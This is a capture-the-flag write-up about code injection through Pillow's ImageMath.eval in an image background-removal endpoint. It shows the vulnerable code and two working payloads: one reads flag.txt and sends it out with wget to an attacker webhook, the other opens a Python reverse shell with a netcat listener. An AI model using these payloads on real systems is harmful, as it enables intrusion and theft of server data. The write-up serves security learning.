In this CTF challenge, the vulnerability lies in the way the server processes images and their backgrounds using ImageMath.eval. This function is intended to perform mathematical operations on image data but has been misused here in a way that allows arbitrary code execution due to the use of eval. Let’s go through the challenge in detail, focusing on what was done and why it was effective.
Full challenge code:
import os, base64
from PIL import Image, ImageMath
from io import BytesIO
generate = lambda x: os.urandom(x).hex()
def make_alpha(data):
color = data.get('background', [255,255,255])
try:
dec_img = base64.b64decode(data.get('image').encode())
image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
new_bands.append(ImageMath.eval(
'convert(alpha_band * alpha, "L")',
alpha=alpha,
alpha_band=img_bands[3]
))
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
buffer = BytesIO()
new_image.save(buffer, format='PNG')
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
except Exception:
return '', 400
Understanding the Vulnerability
The key part of the code that is vulnerable is this segment:
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
The ImageMath.eval function uses Python's eval() under the hood, allowing it to execute arbitrary expressions. Since it takes color[i] (a part of the user-provided background list) as an argument, any value in background will be included directly in the eval operation without sanitization. This opens up the possibility for code injection by supplying code in the background field.
In this challenge, we exploit this vulnerability by crafting a malicious payload to execute commands on the server. When uploading an image the server makes a request like this:
POST /api/alphafy HTTP/1.1
{"image":"iVBORw0KGgoAA....w0Klj","background":[244,255,216]}
- Exploitation Strategies
We have two main options to leverage this code execution vulnerability.
Option 1: Reading the Flag Using a Webhook
In many CTFs, the goal is to read the flag.txt file. Here, we can use the vulnerability to read the flag and send it to a remote server controlled by us using a webhook.
The payload for this approach is and overwrite the <WEBHOOK_SITE>
with your own webhook.
POST /api/alphafy HTTP/1.1
{"image":"iVBORw0KGgoAA....w0Klj","background":["exec('import os;os.system(\"flag=$(cat ../flag.txt);wget <WEBHOOK_SITE>?flag=${flag}\")')",255,216]}
Breaking down this payload:
Background Array Manipulation:
We inject code directly into the background array, making background[0] contain a malicious exec statement.
Command Breakdown:
import os;os.system(...)
This imports the os module and uses os.system() to execute shell commands.
flag=$(cat ../flag.txt)
This reads the contents of flag.txt and stores it in the flag variable.
wget https://webhook.site/url?flag=${flag}
Replacing https://webhook.site/url with our server’s address allows us to capture the flag remotely once it’s sent.
Option 2. Obtain a Reverse Shell
If deeper access to the server is needed, a reverse shell can be created, which opens a connection back to our system. This approach requires setting up a listener on our machine to receive the connection.
The payload is as follows and don’t forget to overwrite <REVERSE_IP>
with your own.
POST /api/alphafy HTTP/1.1
{"image":"iVBORw0KGgoAA....w0Klj","background":["exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((`REVERSE_IP`,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')",255,216]}
Setup a netcat listener nc -lnvp 9001
Here’s a breakdown of the reverse shell payload:
Reverse Shell Code:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Creates a socket using the internet protocol.
s.connect((`REVERSE_IP`, 9001))
Connects back to the attacker’s IP and port.
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
Redirects standard input, output, and error to the socket.
import pty; pty.spawn("sh")
Opens an interactive shell for the connection.
This allows for complete remote command execution on the server. Replacing <REVERSE_IP>
with our IP address and setting up a listener on port 9001 (nc -lnvp 9001
) allows us to intercept the reverse connection, giving us interactive shell access to the server.
Why These Exploits Work
- Lack of Input Validation: The server fails to sanitize user inputs passed to ImageMath.eval. The unfiltered background array values lead to code injection via eval.
- Direct Use of eval: eval is inherently unsafe for user-provided data as it can evaluate arbitrary code. Here, ImageMath.eval operates on image bands but also interprets background values directly in expressions, making it susceptible to code injection.